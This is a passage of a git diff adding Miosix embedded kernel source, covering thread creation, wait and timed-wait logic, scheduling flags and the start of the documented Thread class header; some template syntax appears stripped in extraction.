placement new + void *threadClass=base+(fullStackSize/sizeof(unsigned int)); + Thread *thread=new (threadClass) Thread(base,stacksize,defaultReent); + + if(thread->cReentrancyData==nullptr) + { + thread->~Thread(); + free(base); //Delete ALL thread memory + return nullptr; + } + + //Fill watermark and stack + memset(base, WATERMARK_FILL, WATERMARK_LEN); + base+=WATERMARK_LEN/sizeof(unsigned int); + memset(base, STACK_FILL, fullStackSize-WATERMARK_LEN); + + //On some architectures some registers are saved on the stack, therefore + //initKernelThreadCtxsave *must* be called after filling the stack. + initKernelThreadCtxsave(thread->ctxsave,&Thread::threadLauncher, + reinterpret_cast(thread),base, + startfunc,argv); + + if(options & DETACHED) thread->flags.IRQsetDetached(); + return thread; +} + +void Thread::threadLauncher(void *(*threadfunc)(void*), void *argv) +{ + void *result=nullptr; + #ifdef __NO_EXCEPTIONS + result=threadfunc(argv); + #else //__NO_EXCEPTIONS + try { + result=threadfunc(argv); + #ifdef WITH_PTHREAD_EXIT + } catch(PthreadExitException& e) { + result=e.getReturnValue(); + #endif //WITH_PTHREAD_EXIT + } catch(exception& e) { + errorLog("***An exception propagated through a thread\n"); + errorLog("what():%s\n",e.what()); + } catch(...) { + errorLog("***An exception propagated through a thread\n"); + } + #endif //__NO_EXCEPTIONS + //Thread returned from its entry point, so delete it + + Thread* cur=getCurrentThread(); + #ifdef WITH_PTHREAD_KEYS + callPthreadKeyDestructors(cur->pthreadKeyValues); + #endif //WITH_PTHREAD_KEYS + //Since the thread is running, it cannot be in the sleepingList, so no need + //to remove it from the list + { + FastGlobalIrqLock lock; + cur->flags.IRQsetDeleted(cur); + + if(cur->flags.isDetached()==false) + { + //If thread is joinable, handle join + Thread *t=cur->joinData.waitingForJoin; + //Wake thread + if(t!=nullptr) + { + t->flags.IRQclearJoinWait(t); + // Here the waiting thread changed state to ready, but there's + // no need to call IRQconsiderRescheduling as the current thread + // is also about to terminate, thus a few lines below we + // unconditionally call the scheduler anyway + } + //Set result + cur->joinData.result=result; + } else { + //If thread is detached, memory can be deallocated immediately + atomicSwap(&existDeleted,1); + } + IRQinvokeScheduler(); + } + //When interrupts are enabled back, the IRQinvokeScheduler becomes + //effective and the scheduler is called. Since the thread is now deleted + //will never reach here + errorHandler(Error::UNEXPECTED); +} + +void Thread::PKrestartKernelAndWaitImpl() +{ + // WARNING: The implementation of this function must remain synchronized + // with its IRQ-based counterpart (IRQglobalIrqUnlockAndWaitImpl) + fastDisableIrq(); + + // Put the thread the sleep. We could get the current thread by calling + // Thread::IRQgetCurrentThread but there is logic there that we want to + // avoid. + Thread *cur=const_cast(runningThreads[getCurrentCoreId()]); + { + FastGlobalLockFromIrq lock; + cur->flags.IRQsetWait(cur); + } + + // Save Pk lock state, yield, and restore lock state. + // We do not save/restore the state of the GIL because it's not taken + // (if it was, somebody is violating the constraints on when a PK function + // can be called). + FastPauseKernelLock::irqDisabledFastUnlock(); + IRQinvokeScheduler(); + // On cores with no PendSV-equivalent (CK803S/HD2), IRQinvokeScheduler() + // above could only set s_schedPending (interrupts are off here), and a + // bare fastEnableIrq() has no drain: this thread -- already marked + // WAITING -- would keep RUNNING until the next IRQ takes the deferred + // switch, racing the wakeup path hundreds of times a second. That race + // was the HD2's stochastic post-boot hard lock (every fatal resume frame + // pointed at this wait path; root-caused 2026-06-13 via reset-surviving + // breadcrumb forensics). Claim and take the switch ourselves, mirroring + // FastGlobalIrqLock::unlock()'s proven drain. On PendSV architectures + // s_schedPending is never set, so this is a no-op and the switch happens + // at fastEnableIrq() exactly as before. + bool pending=s_schedPending; + s_schedPending=false; + fastEnableIrq(); + if(pending) Thread::yield(); + //Interrupts are enabled, context switch happens, return after wakeup + FastPauseKernelLock::lock(); +} + +void Thread::IRQglobalIrqUnlockAndWaitImpl() +{ + // Put the thread the sleep. We could get the current thread by calling + // Thread::IRQgetCurrentThread but there is logic there that we want to + // avoid. + Thread *cur=const_cast(runningThreads[getCurrentCoreId()]); + cur->flags.IRQsetWait(cur); + + // Unlock GIL, yield, and relock again + // Note that we are not sure here whether we have taken the PK lock or not. + // If the PK lock appears taken, it might be currently taken by another core + // and as a result we cannot touch it! + // So better to leave it alone. But as a side-effect we cannot upgrade a PK + // lock to a GIL and then use this function! + auto gilTakenRecursively=GlobalIrqLock::irqDisabledInLockedSection(); + IRQinvokeScheduler(); + GlobalIrqLock::unlock(); + //Interrupts are enabled, context switch happens, return after wakeup + if(gilTakenRecursively) GlobalIrqLock::lock(); + else FastGlobalIrqLock::lock(); //The GIL was taken using the fast primitives +} + +TimedWaitResult Thread::PKrestartKernelAndTimedWaitImpl(long long absoluteTimeNs) +{ + // WARNING: The implementation of this function must remain synchronized + // with its IRQ-based counterpart (IRQglobalIrqUnlockAndTimedWaitImpl) + fastDisableIrq(); + + // Put the thread to sleep. + absoluteTimeNs=max(absoluteTimeNs,100000LL); + Thread *cur=const_cast(runningThreads[getCurrentCoreId()]); + SleepToken st(cur,absoluteTimeNs); + { + FastGlobalLockFromIrq lock; + cur->flags.IRQsetWait(cur); //timedWait thread: set wait flag + sleepingList.enqueue(&st); + IRQupdateOsTimer(); + } + + // Save Pk lock state, yield, and restore lock state. + // We do not save/restore the state of the GIL because it's not taken + // (if it was, somebody is violating the constraints on when a PK function + // can be called) + FastPauseKernelLock::irqDisabledFastUnlock(); + IRQinvokeScheduler(); + fastEnableIrq(); + //Interrupts are enabled, context switch happens, return after wakeup + fastDisableIrq(); + FastPauseKernelLock::irqDisabledFastLock(); + + // Remove us from the sleeping list and check how we were woken up. + // If the thread was still in the sleeping list, it was woken up by a wakeup() + bool removed; + { + FastGlobalLockFromIrq lock; + removed=sleepingList.remove(&st); + } + fastEnableIrq(); + return removed ? TimedWaitResult::NoTimeout : TimedWaitResult::Timeout; +} + +TimedWaitResult Thread::IRQglobalIrqUnlockAndTimedWaitImpl(long long absoluteTimeNs) +{ + // Put the thread to sleep. + absoluteTimeNs=max(absoluteTimeNs,100000LL); + Thread *cur=const_cast(runningThreads[getCurrentCoreId()]); + SleepToken st(cur,absoluteTimeNs); + cur->flags.IRQsetWait(cur); //timedWait thread: set wait flag + sleepingList.enqueue(&st); + IRQupdateOsTimer(); + + // Unlock GIL, yield, and relock again + auto gilTakenRecursively=GlobalIrqLock::irqDisabledInLockedSection(); + IRQinvokeScheduler(); + GlobalIrqLock::unlock(); + //Interrupts are enabled, context switch happens, return after wakeup + if(gilTakenRecursively) GlobalIrqLock::lock(); + else FastGlobalIrqLock::lock(); //The GIL was taken using the fast primitives + + // Remove us from the sleeping list and check how we were woken up. + // If the thread was still in the sleeping list, it was woken up by a wakeup() + bool removed=sleepingList.remove(&st); + return removed ? TimedWaitResult::NoTimeout : TimedWaitResult::Timeout; +} + +template +inline bool Thread::IRQconsiderRescheduling(Thread *t, unsigned char excludedCoreId) +{ + auto wokenPrio=t->IRQgetPriority(); + #if defined(WITH_THREAD_AFFINITY) && defined(WITH_SMP) + auto affinity=t->affinity; + #endif //defined(WITH_THREAD_AFFINITY) && defined(WITH_SMP) + if(b==Hlb::FromFirst) + { + for(int i=0;i(runningThreads[i])->IRQgetPriority()=0;i--) + { + #if defined(WITH_THREAD_AFFINITY) && defined(WITH_SMP) + if((affinity & (1<(runningThreads[i])->IRQgetPriority()cReentrancyData; +} + +// +// class ThreadFlags +// + +void Thread::ThreadFlags::IRQsetWait(Thread *self) +{ + flags |= WAIT; + Scheduler::IRQwaitStatusHook(self); +} + +void Thread::ThreadFlags::IRQclearWait(Thread *self) +{ + bool wasReady=isReady(); + flags &= ~WAIT; + if(wasReady==false && isReady()) Scheduler::IRQwokenThread(self); + Scheduler::IRQwaitStatusHook(self); +} + +void Thread::ThreadFlags::IRQsetSleep(Thread *self) +{ + flags |= SLEEP; + Scheduler::IRQwaitStatusHook(self); +} + +void Thread::ThreadFlags::IRQclearSleepAndWait(Thread *self) +{ + bool wasReady=isReady(); + flags &= ~(WAIT | SLEEP); + if(wasReady==false && isReady()) Scheduler::IRQwokenThread(self); + Scheduler::IRQwaitStatusHook(self); +} + +void Thread::ThreadFlags::IRQsetJoinWait(Thread *self) +{ + flags |= WAIT_JOIN; + Scheduler::IRQwaitStatusHook(self); +} + +void Thread::ThreadFlags::IRQclearJoinWait(Thread *self) +{ + bool wasReady=isReady(); + flags &= ~WAIT_JOIN; + if(wasReady==false && isReady()) Scheduler::IRQwokenThread(self); + Scheduler::IRQwaitStatusHook(self); +} + +void Thread::ThreadFlags::IRQsetDeleted(Thread *self) +{ + flags |= DELETED; + Scheduler::IRQwaitStatusHook(self); +} + +} //namespace miosix diff --git a/miosix/kernel/thread.h b/miosix/kernel/thread.h new file mode 100644 index 000000000..d5d423744 --- /dev/null +++ b/miosix/kernel/thread.h @@ -0,0 +1,1133 @@ +/*************************************************************************** + * Copyright (C) 2008-2025 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "miosix_settings.h" +#include "kernel/scheduler/sched_types.h" +#include "kercalls/libstdcpp_integration.h" +#include "intrusive.h" +#include "cpu_time_counter_types.h" +#include "interfaces/cpu_const.h" + +/** + * \namespace miosix + * All user available kernel functions, classes are inside this namespace. + */ +namespace miosix { + +/** + * \addtogroup Kernel + * \{ + */ + +/** + * Returns OS time, which is a monotonic clock started when the OS booted.
+ * Warning! This function replaces the getTick() in previous versions of the + * kernel, but unlike getTick(), getTime() cannot be called with interrupts + * disabled. For that, you need to call IRQgeTime(). + * \return current time in nanoseconds + */ +long long getTime() noexcept; + +/** + * Returns OS time, which is a monotonic clock started when the OS booted.
+ * Must be called with interrupts disabled, or within an interrupt. + * \return current time in nanoseconds + */ +long long IRQgetTime() noexcept; + +/** + * Possible return values of timedWait + */ +enum class TimedWaitResult +{ + NoTimeout, + Timeout +}; + +/** + * \internal + * This class is used to make a list of threads waiting on a synchronization + * primitive such as a Mutex, FastMutex or ConditionVariable + * It is used by the kernel, and should not be used by end users. + */ +class WaitToken : public IntrusiveListItem +{ +public: + WaitToken(Thread *thread) : thread(thread) {} + + Thread *thread; ///<\internal Waiting thread +}; + +//Forwrd declaration +class MemoryProfiling; +class Mutex; +enum class PriorityPolicy; +template class WaitQueue; +class GlobalIrqLock; +class FastGlobalIrqLock; +class PauseKernelLock; +class FastPauseKernelLock; +#ifdef WITH_PROCESSES +class ProcessBase; +class Process; +class FaultData; +class SyscallParameters; +#endif //WITH_PROCESSES + +/** + * This class represents a thread. It has methods for creating, deleting and + * handling threads.
It has private constructor and destructor, since memory + * for a thread is handled by the kernel.
To create a thread use the static + * producer method create().
+ * Methods that have an effect on the current thread, that is, the thread that + * is calling the method are static.
+ * Calls to non static methods must be done with care, because a thread can + * terminate at any time. For example, if you call wakeup() on a terminated + * thread, the behavior is undefined. + */ +class Thread : public IntrusiveListItem +{ +public: + + /** + * Thread options, can be passed to Thread::create to set additional options + * of the thread. + * More options can be specified simultaneously by ORing them together. + * The DEFAULT option indicates the default thread creation. + */ + enum Options + { + DEFAULT=0, ///< Default thread options (JOINABLE thread) + JOINABLE=0, ///< Thread is created joinable + DETACHED=1<<0 ///< Thread is detached instead of joinable + }; + + /** + * Producer method, creates a new thread. + * \param startfunc the entry point function for the thread + * \param stacksize size of thread stack, its minimum is the constant + * STACK_MIN. + * The size of the stack must be divisible by 4, otherwise it will be + * rounded to a number divisible by 4. + * \param priority the thread's priority, whose range depends on the + * selected scheduler, see miosix_settings.h and constant DEFAULT_PRIORITY + * \param argv a void* pointer that is passed as pararmeter to the entry + * point function + * \param options thread options, such ad Thread::DETACHED + * \return a reference to the thread created, that can be used, for example, + * to delete it, or nullptr in case of errors. + * + * NOTE: starting from Miosix 3 threads are created JOINABLE by default. + * To createa detached thread, pass as options Thread::DETACHED + */ + static Thread *create(void *(*startfunc)(void *), unsigned int stacksize, + Priority priority=DEFAULT_PRIORITY, void *argv=nullptr, + Options options=DEFAULT); + + /** + * Same as create(void (*startfunc)(void *), unsigned int stacksize, + * Priority priority=1, void *argv=nullptr) + * but in this case the entry point of the thread returns a void* + * \param startfunc the entry point function for the thread + * \param stacksize size of thread stack, its minimum is the constant + * STACK_MIN. + * The size of the stack must be divisible by 4, otherwise it will be + * rounded to a number divisible by 4. + * \param priority the thread's priority, whose range depends on the + * selected scheduler, see miosix_settings.h and constant DEFAULT_PRIORITY + * \param argv a void* pointer that is passed as pararmeter to the entry + * point function + * \param options thread options, such ad Thread::DETACHED + * \return a reference to the thread created, that can be used, for example, + * to delete it, or nullptr in case of errors. + * + * NOTE: starting from Miosix 3 threads are created JOINABLE by default. + * To createa detached thread, pass as options Thread::DETACHED + */ + static Thread *create(void (*startfunc)(void *), unsigned int stacksize, + Priority priority=DEFAULT_PRIORITY, void *argv=nullptr, + Options options=DEFAULT) + { + //Just call the other version with a cast. + return Thread::create(reinterpret_cast(startfunc), + stacksize,priority,argv,options); + } + + /** + * When called, suggests the kernel to pause the current thread, and run + * another one. + *
CANNOT be called when the kernel is paused. + */ + static void yield(); + + /** + * Put the thread to sleep for a number of milliseconds. + *
The actual precision depends on the underlying hardware timer. + * \param ms the number of milliseconds. If it is ==0 this method will + * return immediately + * + * CANNOT be called when the kernel is paused. + */ + static void sleep(unsigned int ms); + + /** + * Put the thread to sleep for a number of nanoseconds. + *
The actual precision depends on the underlying hardware timer. + * \param ns the number of nanoseconds. If it is <=0 this method will + * return immediately + * + * CANNOT be called when the kernel is paused. + */ + static void nanoSleep(long long ns); + + /** + * Put the thread to sleep until the specified absolute time is reached. + * If the time is in the past, returns immediately. + * To make a periodic thread, this is the recomended way + * \code + * void periodicThread() + * { + * const long long period=90000000; //Run every 90 milliseconds + * long long time=getTime(); + * for(;;) + * { + * //Do work + * time+=period; + * Thread::nanoSleepUntil(time); + * } + * } + * \endcode + * \param absoluteTime when to wake up, in nanoseconds + * + * CANNOT be called when the kernel is paused. + */ + static void nanoSleepUntil(long long absoluteTimeNs); + + /** + * This method stops the thread until wakeup() is called. + * Ths method is useful to implement any kind of blocking primitive, + * including device drivers. + * + * CANNOT be called when the kernel is paused. + */ + static void wait(); + + /** + * This method stops the thread until wakeup() is called. + * Ths method is useful to implement any kind of blocking primitive, + * including device drivers. + * + * NOTE: this method is meant to put the current thread in wait status in a + * piece of code where the kernel is paused (preemption disabled). + * Preemption will be enabled during the waiting period, and disabled back + * before this method returns. + * + * \param dLock the PauseKernelLock object that was used to disable + * preemption in the current context. + */ + static void PKrestartKernelAndWait(PauseKernelLock& dLock) + { + (void)dLock; //Common implementation doesn't need it + return PKrestartKernelAndWaitImpl(); + } + + /** + * This method stops the thread until wakeup() is called. + * Ths method is useful to implement any kind of blocking primitive, + * including device drivers. + * + * NOTE: this method is meant to put the current thread in wait status in a + * piece of code where the kernel is paused (preemption disabled). + * Preemption will be enabled during the waiting period, and disabled back + * before this method returns. + * + * \param dLock the FastPauseKernelLock object that was used to disable + * preemption in the current context. + */ + static void PKrestartKernelAndWait(FastPauseKernelLock& dLock) + { + (void)dLock; //Common implementation doesn't need it + return PKrestartKernelAndWaitImpl(); + } + + /** + * This method stops the thread until wakeup() is called. + * Ths method is useful to implement any kind of blocking primitive, + * including device drivers. + * + * NOTE: this method is meant to put the current thread in wait status in a + * piece of code where interrupts are disbled, interrupts will be enabled + * during the waiting period, and disabled back before this method returns. + * NOTE: it's not possible to firt take a PauseKernelLock, then take a + * GlobalIrqLock and call this function. When this function is called, + * no PauseKernelLock should be taken, cosider using PKrestartKernelAndWait + * without taking the GlobalIrqLock instead. + * + * \param dLock the GlobalIrqLock object that was used to disable + * interrupts in the current context. + * + * \note This member function replaces IRQenableIrqAndWait() in Miosix v2.x, + * which in turn replaces IRQwait in older code + */ + static void IRQglobalIrqUnlockAndWait(GlobalIrqLock& dLock) + { + (void)dLock; //Common implementation doesn't need it + return IRQglobalIrqUnlockAndWaitImpl(); + } + + /** + * This method stops the thread until wakeup() is called. + * Ths method is useful to implement any kind of blocking primitive, + * including device drivers. + * + * NOTE: this method is meant to put the current thread in wait status in a + * piece of code where interrupts are disbled, interrupts will be enabled + * during the waiting period, and disabled back before this method returns. + * NOTE: it's not possible to firt take a PauseKernelLock, then take a + * FastGlobalIrqLock and call this function. When this function is called, + * no PauseKernelLock should be taken, cosider using PKrestartKernelAndWait + * without taking the FastGlobalIrqLock instead. + * + * \param dLock the FastGlobalIrqLock object that was used to disable + * interrupts in the current context. + * + * \note This member function replaces IRQenableIrqAndWait() in Miosix v2.x + * which in turn replaces IRQwait in older code + */ + static void IRQglobalIrqUnlockAndWait(FastGlobalIrqLock& dLock) + { + (void)dLock; //Common implementation doesn't need it + return IRQglobalIrqUnlockAndWaitImpl(); + } + + /** + * This method stops the thread until wakeup() is called or the specified + * absolute time in nanoseconds is reached. + * Ths method is thus a combined IRQwait() and absoluteSleep(), and is + * useful to implement any kind of blocking primitive with timeout, + * including device drivers. + * + * \param absoluteTimeoutNs absolute time after which the wait times out + * \return TimedWaitResult::Timeout if the wait timed out + */ + static TimedWaitResult timedWait(long long absoluteTimeNs); + + /** + * This method stops the thread until wakeup() is called or the specified + * absolute time in nanoseconds is reached. + * Ths method is thus a combined IRQwait() and absoluteSleep(), and is + * useful to implement any kind of blocking primitive with timeout, + * including device drivers. + * + * NOTE: this method is meant to put the current thread in wait status in a + * piece of code where the kernel is paused (preemption disabled). + * Preemption will be enabled during the waiting period, and disabled back + * before this method returns. + * + * \param dLock the PauseKernelLock object that was used to disable + * preemption in the current context. + * \param absoluteTimeoutNs absolute time after which the wait times out + * \return TimedWaitResult::Timeout if the wait timed out + */ + static TimedWaitResult PKrestartKernelAndTimedWait(PauseKernelLock& dLock, + long long absoluteTimeNs) + { + (void)dLock; //Common implementation doesn't need it + return PKrestartKernelAndTimedWaitImpl(absoluteTimeNs); + } + + /** + * This method stops the thread until wakeup() is called or the specified + * absolute time in nanoseconds is reached. + * Ths method is thus a combined IRQwait() and absoluteSleep(), and is + * useful to implement any kind of blocking primitive with timeout, + * including device drivers. + * + * NOTE: this method is meant to put the current thread in wait status in a + * piece of code where the kernel is paused (preemption disabled). + * Preemption will be enabled during the waiting period, and disabled back + * before this method returns. + * + * \param dLock the FastPauseKernelLock object that was used to disable + * preemption in the current context. + * \param absoluteTimeoutNs absolute time after which the wait times out + * \return TimedWaitResult::Timeout if the wait timed out + */ + static TimedWaitResult PKrestartKernelAndTimedWait(FastPauseKernelLock& dLock, + long long absoluteTimeNs) + { + (void)dLock; //Common implementation doesn't need it + return PKrestartKernelAndTimedWaitImpl(absoluteTimeNs); + } + + /** + * This method stops the thread until wakeup() is called or the specified + * absolute time in nanoseconds is reached. + * Ths method is thus a combined IRQwait() and absoluteSleep(), and is + * useful to implement any kind of blocking primitive with timeout, + * including device drivers. + * + * NOTE: this method is meant to put the current thread in wait status in a + * piece of code where interrupts are disbled, interrupts will be enabled + * during the waiting period, and disabled back before this method returns. + * NOTE: it's not possible to firt take a PauseKernelLock, then take a + * GlobalIrqLock and call this function. When this function is called, + * no PauseKernelLock should be taken, cosider using PKrestartKernelAndTimedWait + * without taking the GlobalIrqLock instead. + * + * \param dLock the GlobalIrqLock object that was used to disable + * interrupts in the current context. + * \param absoluteTimeoutNs absolute time after which the wait times out + * \return TimedWaitResult::Timeout if the wait timed out + * + * \note This member function replaces IRQenableIrqAndTimedWait() in Miosix v2.x + */ + static TimedWaitResult IRQglobalIrqUnlockAndTimedWait(GlobalIrqLock& dLock, + long long absoluteTimeNs) + { + (void)dLock; //Common implementation doesn't need it + return IRQglobalIrqUnlockAndTimedWaitImpl(absoluteTimeNs); + } + + /** + * This method stops the thread until wakeup() is called or the specified + * absolute time in nanoseconds is reached. + * Ths method is thus a combined IRQwait() and absoluteSleep(), and is + * useful to implement any kind of blocking primitive with timeout, + * including device drivers. + * + * NOTE: this method is meant to put the current thread in wait status in a + * piece of code where interrupts are disbled, interrupts will be enabled + * during the waiting period, and disabled back before this method returns. + * NOTE: it's not possible to firt take a PauseKernelLock, then take a + * FastGlobalIrqLock and call this function. When this function is called, + * no PauseKernelLock should be taken, cosider using PKrestartKernelAndTimedWait + * without taking the FastGlobalIrqLock instead. + * + * \param dLock the FastGlobalIrqLock object that was used to disable + * interrupts in the current context. + * \param absoluteTimeoutNs absolute time after which the wait times out + * \return TimedWaitResult::Timeout if the wait timed out + * + * \note This member function replaces IRQenableIrqAndTimedWait() in Miosix v2.x + */ + static TimedWaitResult IRQglobalIrqUnlockAndTimedWait(FastGlobalIrqLock& dLock, + long long absoluteTimeNs) + { + (void)dLock; //Common implementation doesn't need it + return IRQglobalIrqUnlockAndTimedWaitImpl(absoluteTimeNs); + } + + /** + * Wakeup a thread. + * This function causes a context switch if the woken thread priorirty is + * higher than the one that is currently running one on at least one core. + *
CANNOT be called when the kernel is paused. + */ + void wakeup(); + + /** + * Wakeup a thread. + * Starting from Miosix 3 this function handles internally the check if the + * woken thread priority is higher than the one running on at least one core. + * If a core is found which is running a lower priority thread, then if + * this core is the same as the one that took the pauseKernel, no preemption + * is caused but pendingWakeup is set so a context switch will occur + * immediately when releasing the pauseKernel lock. This is the only case + * that can happen on a single core CPU. On a multi core CPU, however, the + * core running a lower priority thread may be another core. In this case, + * a preemption is caused immediately as the pauseKernel lock only disables + * preemption on the core that took the lock. + * + * Can only be called when the kernel is paused. + */ + void PKwakeup(); + + /** + * Wakeup a thread. + * Starting from Miosix 3 this function causes the scheduler interrupt to + * become pending if the woken thread priorirty is higher than the one that + * is currently running on at least one core. A context switch will thus + * occur as soon as interrupts are enabled again. + * + * Can only be called inside an IRQ or when interrupts are disabled. + */ + void IRQwakeup(); + + /** + * \return a pointer to the current thread. + * + * Returns a valid pointer also if called before the kernel is started. + */ + static Thread *getCurrentThread(); + + /** + * \return a pointer to the current thread. + * + * Returns a valid pointer also if called before the kernel is started. + */ + static Thread *PKgetCurrentThread() + { + //Safe to call directly, see comment in Thread::IRQgetCurrentThread() + return IRQgetCurrentThread(); + } + + /** + * \return a pointer to the current thread. + * + * Returns a valid pointer also if called before the kernel is started. + */ + static Thread *IRQgetCurrentThread(); + + /** + * Check if a thread exists. This is a comparatively expensive operation, + * as it requires to scan the entire list of threads in the scheduler. + * It is best used only in debug checks that are removed in release builds. + * \param t thread to check + * \return true if thread exists, false if does not exist or has been + * deleted. A joinable thread is considered existing until it has been + * joined, even if it returns from its entry point. A detached thread stops + * existing when it returns from its entry point. + */ + static bool IRQexists(Thread *t); + + /** + * Returns the priority of a thread.
+ * To get the priority of the current thread use: + * \code Thread::getCurrentThread()->getPriority(); \endcode + * If the thread is currently locking one or more mutexes, this member + * function returns the current priority, which can be higher than the + * original priority due to priority inheritance. + * \return current priority of the thread + */ + Priority getPriority(); + + /** + * Same as getPriority(), but meant to be used when the kernel is paused. + */ + Priority PKgetPriority() + { + return getPriority(); //Safe to call directly, see implementation + } + + /** + * Same as getPriority(), but meant to be used inside an IRQ, or when + * interrupts are disabled. + */ + Priority IRQgetPriority() + { + return getPriority(); //Safe to call directly, see implementation + } + + /** + * Set the priority of this thread.
+ * This member function changed from previous Miosix versions since it is + * now static. This implies a thread can no longer set the priority of + * another thread. + * \param priority the thread's priority, whose range depends on the + * selected scheduler, see miosix_settings.h + */ + static void setPriority(Priority pr); + + /** + * Suggests a thread to terminate itself. Note that this method only makes + * testTerminate() return true on the specified thread. If the thread does + * not call testTerminate(), or if it calls it but does not delete itself + * by returning from entry point function, it will NEVER + * terminate. The user is responsible for implementing correctly this + * functionality.
Thread termination is implemented like this to give + * time to a thread to deallocate resources, close files... before + * terminating.
The first call to terminate on a thread will make it + * return prematurely form wait(), sleep() and timedWait() call, but only + * once.
Can be called when the kernel is paused. + */ + void terminate(); + + /** + * This method needs to be called periodically inside the thread's main + * loop. + * \return true if somebody outside the thread called terminate() on this + * thread. + * + * If it returns true the thread must free all resources and terminate by + * returning from its main function. + *
Can be called when the kernel is paused. + */ + static bool testTerminate(); + + /** + * Detach the thread if it was joinable, otherwise do nothing.
+ * If called on a deleted joinable thread on which join was not yet called, + * it allows the thread's memory to be deallocated.
+ * If called on a thread that is not yet deleted, the call detaches the + * thread without deleting it. + * If called on an already detached thread, it has undefined behaviour. + */ + void detach(); + + /** + * \return true if the thread is detached + */ + bool isDetached() const; + + /** + * Wait until a joinable thread is terminated.
+ * If the thread already terminated, this function returns immediately.
+ * Calling join() on the same thread multiple times, from the same or + * multiple threads is not recomended, but in the current implementation + * the first call will wait for join, and the other will return false.
+ * Trying to join the thread join is called in returns false, but must be + * avoided.
+ * Calling join on a detached thread might cause undefined behaviour. + * \param result If the entry point function of the thread to join returns + * void *, the return value of the entry point is stored here, otherwise + * the content of this variable is undefined. If nullptr is passed as result + * the return value will not be stored. + * \return true on success, false on failure + */ + bool join(void** result=nullptr); + + /** + * Set the core affinity of the current thread. + * If the architecture only has a single core or WITH_THREAD_AFFINITY is not + * enabled in miosix_settings.h, does nothing + * \param affinity a bit set where bit 0 @ 1 means the thread can be + * scheduled on core 0, and so on. + * \return true on success, false on failure + */ + bool setAffinity(CpuSet affinity); + + /** + * \return the core affinity mask of this thread + */ + CpuSet getAffinity(); + + /** + * \internal + * This method is only meant to implement functions to check the available + * stack in a thread. Returned pointer is constant because modifying the + * stack through it must be avoided. + * \return pointer to bottom of stack of current thread. + */ + static const unsigned int *getStackBottom(); + + /** + * \internal + * \return the size of the stack of the current thread. + */ + static int getStackSize(); + + #ifdef WITH_PROCESSES + + /** + * \return the process associated with the thread + */ + ProcessBase *getProcess() { return proc; } + + /** + * \internal + * Can only be called inside an IRQ, its use is to switch a thread between + * userspace/kernelspace and back to perform context switches + * + * The implementation of this function takes the FastGlobalLockFromIrq + * so you must not take the lock before calling this function + */ + static void IRQhandleSvc(); + + /** + * \internal + * Can only be called inside an IRQ, its use is to report a fault so that + * in case the fault has occurred within a process while it was executing + * in userspace, the process can be terminated. + * \param fault data about the occurred fault + * \return true if the fault was caused by a process, false otherwise. + */ + static bool IRQreportFault(const FaultData& fault); + + #endif //WITH_PROCESSES + + #ifdef WITH_PTHREAD_KEYS + + /** + * \internal, used to implement pthread_setspecific + */ + int setPthreadKeyValue(pthread_key_t key, void * const value) + { + if(key>=MAX_PTHREAD_KEYS) return EINVAL; + pthreadKeyValues[key]=value; + return 0; + } + + /** + * \internal, used to implement pthread_getspecific + */ + void *getPthreadKeyValue(pthread_key_t key) + { + if(key>=MAX_PTHREAD_KEYS) return nullptr; //No way to report error + return pthreadKeyValues[key]; + } + + #endif //WITH_PTHREAD_KEYS + + //Unwanted methods + Thread(const Thread& p) = delete; + Thread& operator = (const Thread& p) = delete; + +private: + /** + * Heuristic load balancing policy + * These constants are passed as template parameter to IRQconsiderRescheduling() + * to improve core utilization by not picking cores always in the same order + * in every point of the kernel where a thread becomes ready + */ + enum class Hlb + { + FromFirst, ///< Start considering cores from the first + FromLast ///< Start considering cores from the last + }; + + /** + * Curren thread status + */ + class ThreadFlags + { + public: + /** + * Constructor, sets flags to default. + */ + ThreadFlags(): flags(0) {} + + /** + * Set the wait flag of the thread. + * Can only be called with interrupts disabled or within an interrupt. + * \param self thread whose status changed + */ + void IRQsetWait(Thread *self); + + /** + * Clear the wait flag of the thread. + * Can only be called with interrupts disabled or within an interrupt. + * \param self thread whose status changed + */ + void IRQclearWait(Thread *self); + + /** + * Set the sleep flag of the thread. + * Can only be called with interrupts disabled or within an interrupt. + * \param self thread whose status changed + */ + void IRQsetSleep(Thread *self); + + /** + * Used by IRQwakeThreads to clear both the sleep and wait flags, + * waking threads doing absoluteSleep() as well as timedWait() + * \param self thread whose status changed + */ + void IRQclearSleepAndWait(Thread *self); + + /** + * Set the wait_join flag of the thread. + * Can only be called with interrupts disabled or within an interrupt. + * \param self thread whose status changed + */ + void IRQsetJoinWait(Thread *self); + + /** + * Clear the wait_join flag of the thread. + * Can only be called with interrupts disabled or within an interrupt. + * \param self thread whose status changed + */ + void IRQclearJoinWait(Thread *self); + + /** + * Set the deleted flag of the thread. This flag can't be cleared. + * Can only be called with interrupts disabled or within an interrupt. + * If the thread is joinable, it is not actually set to DELETED yet, but + * to ZOMBIE until it has either been joined or detached. + * \param self thread whose status changed + */ + void IRQsetDeleted(Thread *self); + + /** + * Set the sleep flag of the thread. This flag can't be cleared. + * Can only be called with interrupts disabled or within an interrupt. + */ + void IRQsetDeleting() { flags |= DELETING; } + + /** + * Set the detached flag. This flag can't be cleared. + * Can only be called with interrupts disabled or within an interrupt. + */ + void IRQsetDetached() { flags |= DETACHED; } + + /** + * Set the userspace flag of the thread. + * Can only be called with interrupts disabled or within an interrupt. + * \param sleeping if true the flag will be set, otherwise cleared + */ + void IRQsetUserspace(bool userspace) + { + if(userspace) flags |= USERSPACE; else flags &= ~USERSPACE; + } + + /** + * \return true if the wait flag is set + */ + bool isWaiting() const { return flags & WAIT; } + + /** + * \return true if the sleep flag is set + */ + bool isSleeping() const { return flags & SLEEP; } + + /** + * \return true if the deleted and the detached flags are set + * Deleted thrad can be deallocated immediately. + */ + bool isDeleted() const { return (flags & 0x14)==0x14; } + + /** + * \return true if the thread has been 